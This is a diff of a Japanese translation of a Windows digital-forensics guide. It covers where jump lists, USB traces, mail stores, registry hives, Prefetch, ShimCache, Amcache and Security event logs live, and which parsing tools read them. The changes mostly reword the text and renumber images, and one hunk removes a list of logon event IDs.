-カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これは、ファイルに何か**重要なこと**が起こったためかもしれません(お気に入りとしてマークされたかもしれません)。 +カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これはファイルに何か**重要なこと**が起こったためかもしれません(お気に入りとしてマークされたかもしれません)。 どのジャンプリストの**作成時刻**は、**ファイルにアクセスされた最初の時間**を示し、**変更時刻**は最後の時間を示します。 [JumplistExplorer](https://ericzimmerman.github.io/#!index.md)を使用してジャンプリストを調査できます。 -![](<../../../.gitbook/assets/image (474).png>) +![](<../../../.gitbook/assets/image (168).png>) (_JumplistExplorerによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連しています_) ### シェルバッグ -[**こちらのリンク**](interesting-windows-registry-keys.md#shellbags)を参照して、シェルバッグとは何かを学びます。 +[**シェルバッグとは何かを学ぶには、このリンクを参照してください。**](interesting-windows-registry-keys.md#shellbags) ## Windows USBの使用 -USBデバイスが使用されたことを特定することが可能です。これは次のようにして行われます: +USBデバイスが使用されたことを特定することが可能です。これは次のように作成されます: * Windows最近使用したフォルダ * Microsoft Office最近使用したフォルダ * ジャンプリスト -一部のLNKファイルは、元のパスを指す代わりにWPDNSEフォルダを指します: +オリジナルのパスを指す代わりに、一部のLNKファイルはWPDNSEフォルダを指します: -![](<../../../.gitbook/assets/image (476).png>) +![](<../../../.gitbook/assets/image (218).png>) -フォルダWPDNSE内のファイルは、元のファイルのコピーであり、したがってPCの再起動を行うと消えます。GUIDはシェルバッグから取得されます。 +フォルダWPDNSE内のファイルはオリジナルのファイルのコピーであり、したがってPCの再起動を生き延びることはできません。GUIDはシェルバッグから取得されます。 ### レジストリ情報 -USB接続されたデバイスに関する興味深い情報を含むレジストリキーを確認するには、[このページ](interesting-windows-registry-keys.md#usb-information)を参照してください。 +USB接続されたデバイスに関する興味深い情報を含むレジストリキーを確認するには、[このページを参照してください](interesting-windows-registry-keys.md#usb-information)。 ### setupapi USB接続が行われたタイムスタンプを取得するには、ファイル`C:\Windows\inf\setupapi.dev.log`を確認してください(`Section start`を検索)。 -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective [**USBDetective**](https://usbdetective.com)を使用して、イメージに接続されたUSBデバイスに関する情報を取得できます。 -![](<../../../.gitbook/assets/image (483).png>) +![](<../../../.gitbook/assets/image (452).png>) ### プラグアンドプレイのクリーンアップ -「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、古いドライバーバージョンを削除するために主に設計されています。最新のドライバーパッケージバージョンを保持することが明示されているにもかかわらず、オンラインソースによると、過去30日間非アクティブだったドライバーも対象となる可能性があります。その結果、過去30日間接続されていないリムーバブルデバイスのドライバーは削除の対象となる可能性があります。 +「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、古いドライバーバージョンを削除するために主に設計されています。最新のドライバーパッケージバージョンを保持することが指定されているにもかかわらず、オンラインソースによれば、過去30日間非アクティブだったドライバーも対象となる可能性があります。その結果、過去30日間接続されていないリムーバブルデバイスのドライバーは削除の対象となる可能性があります。 -このタスクは次の場所にあります: -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。 +このタスクは次のパスにあります:`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。 -タスクの内容を示すスクリーンショットが提供されています: -![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +タスクの内容を示すスクリーンショットが提供されています:![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**タスクの主要なコンポーネントと設定:** -- **pnpclean.dll**: このDLLは実際のクリーンアッププロセスを担当しています。 -- **UseUnifiedSchedulingEngine**: `TRUE`に設定されており、一般的なタスクスケジューリングエンジンが使用されていることを示しています。 -- **MaintenanceSettings**: -- **Period ('P1M')**: タスクスケジューラに、定期的な自動メンテナンス中に月次のクリーンアップタスクを開始するよう指示します。 -- **Deadline ('P2M')**: タスクスケジューラに、2か月連続でタスクが失敗した場合、緊急時の自動メンテナンス中にタスクを実行するよう指示します。 +**タスクの主要なコンポーネントと設定:** -この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続した失敗の場合にタスクを再試行するための規定があります。 +* **pnpclean.dll**:このDLLは実際のクリーンアッププロセスを担当しています。 +* **UseUnifiedSchedulingEngine**:`TRUE`に設定されており、一般的なタスクスケジューリングエンジンの使用を示しています。 +* **MaintenanceSettings**: +* **Period('P1M')**:定期的な自動メンテナンス中に月次のクリーンアップタスクを開始するようにタスクスケジューラに指示します。 +* **Deadline('P2M')**:タスクが2か月連続で失敗した場合、緊急時の自動メンテナンス中にタスクを実行するようにタスクスケジューラに指示します。 -**詳細はこちらを参照:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続した失敗の場合のタスクの再試行が規定されています。 + +**詳細については、次を参照してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) ## メール -メールには**2つの興味深い部分が含まれます: ヘッダーとコンテンツ**です。**ヘッダー**には次のような情報が含まれます: +メールには**2つの興味深い部分が含まれています:ヘッダーとメールの内容**。**ヘッダー**には次のような情報が含まれます: -* メールを送信した**誰**(メールアドレス、IP、メールをリダイレクトしたメールサーバー) -* メールがいつ送信されたか +* **誰**がメールを送信したか(メールアドレス、IP、メールをリダイレクトしたメールサーバー) +* メールが送信された**時刻** -また、`References`と`In-Reply-To`ヘッダー内には、メッセージのIDが含まれています: +また、`References`と`In-Reply-To`ヘッダー内にはメッセージのIDが含まれています: -![](<../../../.gitbook/assets/image (484).png>) +![](<../../../.gitbook/assets/image (593).png>) ### Windowsメールアプリ -このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`\Users\\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダ内に保存され、`.dat`拡張子で保存されます。 +このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`\Users\\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダ内に保存されます。メールは`.dat`拡張子で保存されます。 -メールの**メタデータ**と**連絡先**は、**EDBデータベース**内で見つけることができます:`\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +メールの**メタデータ**と**連絡先**は**EDBデータベース**内に見つけることができます:`\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -ファイルの拡張子を`.vol`から`.edb`に変更し、[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)ツールを使用して開くことができます。`Message`テーブル内でメールを確認できます。 +ファイルの拡張子を`.vol`から`.edb`に変更し、ツール[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)を使用して開くことができます。`Message`テーブル内にメールが表示されます。 ### Microsoft Outlook -ExchangeサーバーやOutlookクライアントが使用されている場合、いくつかのMAPIヘッダーが存在します: +ExchangeサーバーまたはOutlookクライアントが使用されている場合、いくつかのMAPIヘッダーが存在します: -* `Mapi-Client-Submit-Time`: メールが送信されたシステムの時間 -* `Mapi-Conversation-Index`: スレッドの子メッセージ数とスレッドの各メッセージのタイムスタンプ -* `Mapi-Entry-ID`: メッセージ識別子 -* `Mappi-Message-Flags`および`Pr_last_Verb-Executed`: MAPIクライアントに関する情報(メッセージが読まれたか、未読か、返信済みか、リダイレクトされたか、オフィスを外出中かなど) +* `Mapi-Client-Submit-Time`:メールが送信されたシステムの時刻 +* `Mapi-Conversation-Index`:スレッドの子メッセージ数とスレッドの各メッセージのタイムスタンプ +* `Mapi-Entry-ID`:メッセージ識別子 +* `Mappi-Message-Flags`および`Pr_last_Verb-Executed`:MAPIクライアントに関する情報(メッセージは既読ですか?未読ですか?返信済みですか?リダイレクトされましたか?外出中ですか?) -Microsoft Outlookクライアントでは、送信/受信したメッセージ、連絡先データ、カレンダーデータが次の場所に保存されます: +Microsoft Outlookクライアントでは、送受信したすべてのメッセージ、連絡先データ、およびカレンダーデータが次のPSTファイルに保存されます: * `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`(WinXP) * `%USERPROFILE%\AppData\Local\Microsoft\Outlook` レジストリパス`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`は使用されているファイルを示します。 -PSTファイルを開くには、[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)ツールを使用できます。 +PSTファイルは、ツール[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)を使用して開くことができます。 -![](<../../../.gitbook/assets/image (485).png>) +![](<../../../.gitbook/assets/image (498).png>) +### Microsoft Outlook OST Files -### Microsoft Outlook OSTファイル - -Microsoft Outlookが**IMAP**または**Exchange**サーバーと構成されている場合、**OSTファイル**が生成され、PSTファイルと同様の情報が保存されます。このファイルはサーバーと同期され、**過去12か月間**のデータを最大**50GB**まで保持し、PSTファイルと同じディレクトリに保存されます。OSTファイルを表示するには、[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を利用できます。 +**OSTファイル**は、Microsoft Outlookが**IMAP**または**Exchange**サーバーと構成されているときに生成され、PSTファイルと同様の情報を格納します。このファイルはサーバーと同期され、**過去12ヶ月**分のデータを**最大50GB**まで保持し、PSTファイルと同じディレクトリにあります。OSTファイルを表示するには、[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を利用できます。 ### 添付ファイルの取得 失われた添付ファイルは次の場所から回復できる場合があります: -- **IE10**の場合:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- **IE11以降**の場合:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +* **IE10**の場合:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +* **IE11以降**の場合:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOXファイル +### Thunderbird MBOX Files -**Thunderbird**はデータを保存するために**MBOXファイル**を使用し、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`に保存されます。 +**Thunderbird**はデータを格納するために**MBOXファイル**を使用し、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`にあります。 ### 画像サムネイル -- **Windows XPおよび8-8.1**:サムネイルが表示されるフォルダにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。 -- **Windows 7/10**:UNCパスを介してネットワーク経由でアクセスすると、`thumbs.db`が作成されます。 -- **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集約され、**thumbcache\_xxx.db**という名前のファイルに保存されます。これらのファイルを表示するためのツールとして、[**Thumbsviewer**](https://thumbsviewer.github.io)と[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)があります。 +* **Windows XPおよび8-8.1**:サムネイルが含まれるフォルダにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。 +* **Windows 7/10**:UNCパスを介してネットワーク経由でアクセスすると`thumbs.db`が作成されます。 +* **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集約され、**thumbcache\_xxx.db**という名前のファイルがあります。[**Thumbsviewer**](https://thumbsviewer.github.io)と[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)はこれらのファイルを表示するためのツールです。 ### Windowsレジストリ情報 -Windowsレジストリは、広範なシステムおよびユーザーのアクティビティデータを保存しており、次の場所にファイルが保存されています: +Windowsレジストリは、広範なシステムおよびユーザーのアクティビティデータを格納しており、次のファイルに含まれています: -- `HKEY_LOCAL_MACHINE`のさまざまなサブキーに対しては`%windir%\System32\Config` -- `HKEY_CURRENT_USER`に対しては`%UserProfile%{User}\NTUSER.DAT` -- Windows Vista以降では、`HKEY_LOCAL_MACHINE`レジストリファイルは`%Windir%\System32\Config\RegBack\`にバックアップされます。 -- さらに、プログラムの実行情報は、Windows VistaおよびWindows 2008 Server以降では`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に保存されます。 +* `HKEY_LOCAL_MACHINE`のさまざまなサブキーには`%windir%\System32\Config`にあります。 +* `HKEY_CURRENT_USER`には`%UserProfile%{User}\NTUSER.DAT`にあります。 +* Windows Vista以降のバージョンでは、`%Windir%\System32\Config\RegBack\`に`HKEY_LOCAL_MACHINE`レジストリファイルのバックアップがあります。 +* さらに、プログラムの実行情報は、Windows VistaおよびWindows 2008 Server以降の`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に格納されます。 ### ツール いくつかのツールがレジストリファイルを分析するのに役立ちます: -* **レジストリエディタ**: Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。 -* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): レジストリファイルをロードし、GUIでナビゲートすることができます。興味深い情報を含むキーをハイライトするブックマークが含まれています。 -* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): ロードされたレジストリをナビゲートするためのGUIがあり、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。 -* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): ロードされたレジストリから重要な情報を抽出できる別のGUIアプリケーションです。 +* **レジストリエディタ**:Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。 +* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):レジストリファイルをロードし、GUIでそれらをナビゲートできます。興味深い情報を示すブックマークを含んでいます。 +* [**RegRipper**](https://github.com/keydet89/RegRipper3.0):再び、ロードされたレジストリをナビゲートするためのGUIを備えており、ロードされたレジストリ内の興味深い情報を強調するプラグインも含まれています。 +* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html):レジストリから重要な情報を抽出できる別のGUIアプリケーションです。 ### 削除された要素の回復 -キーが削除されると、そのようにマークされますが、そのスペースが必要になるまで削除されません。そのため、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することが可能です。 +キーが削除されると、それがマークされますが、そのスペースが必要になるまで削除されません。したがって、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することが可能です。 -### 最終書き込み時刻 +### 最終更新時刻 -各キー値には、最後に変更された時刻を示す**タイムスタンプ**が含まれています。 +各キー値には、最後に変更された時間を示す**タイムスタンプ**が含まれています。 ### SAM -ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、ユーザーパスワード**のハッシュが含まれています。 +ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。 -`SAM\Domains\Account\Users`では、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、アカウント作成日時を取得できます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も必要です。 +`SAM\Domains\Account\Users`には、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、アカウント作成日などの情報が含まれます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も必要です。 ### Windowsレジストリの興味深いエントリ @@ -283,18 +281,36 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク ### 基本的なWindowsプロセス -[この記事](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)では、疑わしい動作を検出するための一般的なWindowsプロセスに +[この投稿](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)では、疑わしい動作を検出するための一般的なWindowsプロセスについて学ぶことができます。 + +### Windows最近のアプリ + +レジストリ`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最終実行時刻**、**起動回数**に関する情報が含まれるサブキーがあります。 + +### BAM(バックグラウンドアクティビティモデレーター) + +レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`内には、各ユーザーが実行した**アプリケーションに関する情報**(パス内の`{SID}`に注意)および**実行時刻**が含まれています(実行時刻はレジストリのデータ値内にあります)。 + +### Windows Prefetch + +プリフェッチは、コンピューターが**ユーザーが近い将来にアクセスする可能性のあるコンテンツを表示するために必要なリソースを静かに取得**する技術です。Windowsプリフェッチは、**実行されたプログラムのキャッシュ**を作成して、それらをより速くロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイルの制限があり、Win8/Win10では1024ファイルの制限があります。 + +ファイル名は`{program_name}-{hash}.pf`として作成されます(ハッシュは実行可能ファイルのパスと引数に基づいています)。W10ではこれらのファイルが圧縮されています。ファイルが存在するだけで、そのプログラムが**ある時点で実行された**ことを示しています。 + +ファイル`C:\Windows\Prefetch\Layout.ini`には、プリフェッチされるファイルのフォルダの**名前**に関する情報が含まれています。このファイルには、**実行回数**、**実行日**、およびプログラムによって**開かれたファイル**に関する情報が含まれています。 + +これらのファイルを調査するには、[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)ツールを使用できます。 ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` -![](<../../../.gitbook/assets/image (487).png>) +![](<../../../.gitbook/assets/image (315).png>) ### Superprefetch -**Superprefetch**は、prefetchと同じ目標を持ち、**次に読み込まれるものを予測して**プログラムを**高速に読み込む**ことです。ただし、prefetchサービスを置き換えるものではありません。\ +**Superprefetch**は、prefetchと同じ目標を持ち、次に読み込まれるものを予測して**プログラムを高速に読み込む**ことを目的としています。ただし、prefetchサービスを置き換えるものではありません。\ このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。 -これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、**タイムスタンプ**が含まれています。 +これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスしたボリューム**、**完全なパス**、**時間枠**、**タイムスタンプ**が含まれています。 この情報には、[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)ツールを使用してアクセスできます。 @@ -318,9 +334,9 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` -### AppCompatCache (ShimCache) +### AppCompatCache(ShimCache) -**AppCompatCache**、または**ShimCache**としても知られるものは、**Microsoft**が開発した**Application Compatibility Database**の一部であり、アプリケーションの互換性の問題に対処するためのものです。このシステムコンポーネントは、次のファイルメタデータを記録します: +**AppCompatCache**、または**ShimCache**としても知られるものは、**Microsoft**が開発した**アプリケーション互換性データベース**の一部であり、アプリケーションの互換性の問題に対処するために使用されます。このシステムコンポーネントは、次のファイルメタデータを記録します: - ファイルの完全なパス - ファイルのサイズ @@ -328,54 +344,56 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク - ShimCacheの最終更新時刻 - プロセス実行フラグ -このようなデータは、オペレーティングシステムのバージョンに基づいてレジストリ内の特定の場所に保存されます: +このようなデータは、オペレーティングシステムのバージョンに基づいてレジストリ内の特定の場所に保存されます: - XPの場合、データは`SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`に保存され、96エントリを格納できます。 - Server 2003、およびWindowsバージョン2008、2012、2016、7、8、および10の場合、ストレージパスは`SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`で、それぞれ512および1024エントリを収容します。 保存された情報を解析するには、[**AppCompatCacheParser**ツール](https://github.com/EricZimmerman/AppCompatCacheParser)の使用をお勧めします。 -![](<../../../.gitbook/assets/image (488).png>) +![](<../../../.gitbook/assets/image (75).png>) ### Amcache **Amcache.hve**ファイルは、システムで実行されたアプリケーションの詳細を記録するレジストリハイブです。通常、`C:\Windows\AppCompat\Programas\Amcache.hve`にあります。 -このファイルは、実行されたプロセスの記録、実行可能ファイルへのパス、およびそれらのSHA1ハッシュを保存するために注目されています。この情報は、システム上のアプリケーションの活動を追跡するために貴重です。 +このファイルは、最近実行されたプロセスの記録、実行可能ファイルへのパス、およびそれらのSHA1ハッシュを保存するために注目されています。この情報は、システム上のアプリケーションの活動を追跡するために貴重です。 -**Amcache.hve**からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。次のコマンドは、**Amcache.hve**ファイルの内容を解析し、結果をCSV形式で出力するための使用例です: +**Amcache.hve**からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。次のコマンドは、**Amcache.hve**ファイルの内容を解析し、結果をCSV形式で出力するためのAmcacheParserの使用例です: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` -### 最も興味深いCSVファイルは、`Amcache_Unassociated file entries`です。 +生成されたCSVファイルの中で、`Amcache_Unassociated file entries`は、関連付けられていないファイルエントリに関する豊富な情報を提供するため特に注目に値します。 + +最も興味深いCSVファイルは、`Amcache_Unassociated file entries`です。 ### RecentFileCache -このアーティファクトは、W7にのみ`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にあり、一部のバイナリの最近の実行に関する情報を含んでいます。 +このアーティファクトは、`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にのみW7で見つけることができ、いくつかのバイナリの最近の実行に関する情報を含んでいます。 -ファイルを解析するには、[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)ツールを使用できます。 +ファイルを解析するために[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)ツールを使用できます。 ### スケジュールされたタスク -これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出し、XMLとして読むことができます。 +`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出し、XMLとして読むことができます。 ### サービス -これらは`SYSTEM\ControlSet001\Services`のレジストリ内にあります。実行される内容と実行されるタイミングを確認できます。 +レジストリ内の`SYSTEM\ControlSet001\Services`に見つけることができます。実行される内容や実行時期を確認できます。 -### **Windowsストア** +### **Windows Store** インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`にあります。\ -このリポジトリには、データベース内の**`StateRepository-Machine.srd`**という名前の**各インストールされたアプリケーション**に関する**ログ**があります。 +このリポジトリには、システム内の各アプリケーションのインストールに関する**`StateRepository-Machine.srd`**データベース内の**ログ**があります。 -このデータベースのApplicationテーブル内には、"Application ID"、"PackageNumber"、"Display Name"という列があります。これらの列には、プリインストールされたアプリケーションとインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDが連続しているかどうかを確認できます。 +このデータベースのApplicationテーブル内には、"Application ID"、"PackageNumber"、"Display Name"という列があります。これらの列には、事前にインストールされたアプリケーションやインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDは連続しているはずです。 -また、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内に**インストールされたアプリケーション**を見つけることができます。\ -そして、**アンインストールされたアプリケーション**は`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`にあります。 +また、レジストリパス内に**インストールされたアプリケーション**を見つけることも可能です:`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +そして**アンインストールされたアプリケーション**はこちらにあります:`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windowsイベント -Windowsイベントに表示される情報は次のとおりです: +Windowsイベント内に表示される情報は以下の通りです: * 何が起こったか * タイムスタンプ(UTC + 0) @@ -387,91 +405,15 @@ Windowsイベントに表示される情報は次のとおりです: イベントファイルの場所は、SYSTEMレジストリ内の**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**にあります。 -Windowsイベントビューアー(**`eventvwr.msc`**)や[**Event Log Explorer**](https://eventlogxp.com)や[**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)などの他のツールで表示できます。 +Windowsイベントビューアー(**`eventvwr.msc`**)や[**Event Log Explorer**](https://eventlogxp.com) **または** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**などのツールで表示できます。** -## Windowsセキュリティイベントの理解 +## Windowsセキュリティイベントログの理解 セキュリティ構成ファイルに記録されるアクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあります。このファイルのサイズは調整可能であり、容量が達すると古いイベントが上書きされます。記録されるイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダ、共有アセットへのアクセスが含まれます。 +#### システムの電源イベント -### ユーザー認証のための主要なイベントID: - -- **EventID 4624**: ユーザーが正常に認証されたことを示します。 -- **EventID 4625**: 認証の失敗を示します。 -- **EventIDs 4634/4647**: ユーザーログオフイベントを表します。 -- **EventID 4672**: 管理特権でのログインを示します。 - -#### EventID 4634/4647内のサブタイプ: - -- **Interactive (2)**: 直接ユーザーログイン。 -- **Network (3)**: 共有フォルダへのアクセス。 -- **Batch (4)**: バッチプロセスの実行。 -- **Service (5)**: サービスの起動。 -- **Proxy (6)**: プロキシ認証。 -- **Unlock (7)**: パスワードで画面のロック解除。 -- **Network Cleartext (8)**: 明示的なパスワード送信、主にIISから。 -- **New Credentials (9)**: アクセスのための異なる資格情報の使用。 -- **Remote Interactive (10)**: リモートデスクトップまたはターミナルサービスへのログイン。 -- **Cache Interactive (11)**: ドメインコントローラーに連絡せずにキャッシュされた資格情報でのログイン。 -- **Cache Remote Interactive (12)**: キャッシュされた資格情報でのリモートログイン。 -- **Cached Unlock (13)**: キャッシュされた資格情報でのロック解除。 - -#### EventID 4625のステータスおよびサブステータスコード: - -- **0xC0000064**: ユーザー名が存在しない - ユーザー名の列挙攻撃を示す可能性があります。 -- **0xC000006A**: 正しいユーザー名が間違ったパスワード - パスワードの推測または総当たり攻撃の試行が考えられます。 -- **0xC0000234**: ユーザーアカウントがロックアウトされている - 多数の失敗したログインをもたらす総当たり攻撃の結果として発生する可能性があります。 -- **0xC0000072**: アカウントが無効になっている - 無効になったアカウントへの不正アクセス試行。 -- **0xC000006F**: 許可された時間外のログオン - 設定されたログイン時間外にアクセスを試みることは、不正アクセスの可能性を示すかもしれません。 -- **0xC0000070**: ワークステーションの制限の違反 - 許可されていない場所からのログイン試行。 -- **0xC0000193**: アカウントの有効期限切れ - 期限切れのユーザーアカウントでのアクセス試行。 -- **0xC0000071**: パスワードの有効期限切れ - 期限切れのパスワードでのログイン試行。 -- **0xC0000133**: 時間同期の問題 - クライアントとサーバー間の大きな時間のずれは、パスザチケットなどの高度な攻撃の兆候となる可能性があります。 -- **0xC0000224**: 強制的なパスワード変更が必要 - 頻繁な強制的な変更は、アカウントセキュリティを不安定にする試みを示す可能性があります。 -- **0xC0000225**: セキュリティ問題ではなく、システムのバグを示します。 -- **0xC000015b**: 拒否されたログオンタイプ - ユーザーがサービスログオンを実行しようとするなど、許可されていないログオンタイプでのアクセス試行。 - -#### EventID 4616: -- **時間の変更**: システム時間の変更、イベントのタイムラインを曖昧にする可能性があります。 - -#### EventID 6005および6006: -- **システムの起動およびシャットダウン**: EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。 - -#### EventID 1102: -- **ログの削除**: 不正行為を隠すための赤信号であるセキュリティログのクリア。 - -#### USBデバイストラッキングのためのEventID: -- **20001 / 20003 / 10000**: USBデバイスの初回接続。 -- **10100**: USBドライバーの更新。 -- **EventID 112**: USBデバイスの挿入時刻。 - -これらのログインタイプや資格情報ダンプの機会をシミュレートする実践的な例については、[Altered Securityの詳細ガイド](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)を参照してください。 - -イベントの詳細、特にEvent ID 4625でのステータスおよびサブステータスコードは、イベントの原因に関するさらなる洞察を提供します。 - -### Windowsイベントの回復 - -削除されたWindowsイベントを回復する可能性を高めるためには、疑わしいコンピューターの電源を直接抜いて電源を切ることをお勧めします。`.evtx`拡張子を指定する回復ツールである**Bulk_extractor**を使用して、このようなイベントを回復しようとすることをお勧めします。 - -### Windowsイベントを通じた一般的な攻撃の特定 - -一般的なサイバー攻撃を特定するためにWindowsイベントIDを利用する包括的なガイドについては、[Red Team Recipe](https://redteamrecipe.com/event-codes/)を参照してください。 - -#### 総当たり攻撃 - -複数のEventID 4625レコードによって識別され、攻撃が成功した場合はEventID 4624が続きます。 - -#### 時間の変更 - -EventID 4616によって記録され、システム時間の変更はフォレンジック分析を複雑にします。 - -#### USBデバイストラッキング - 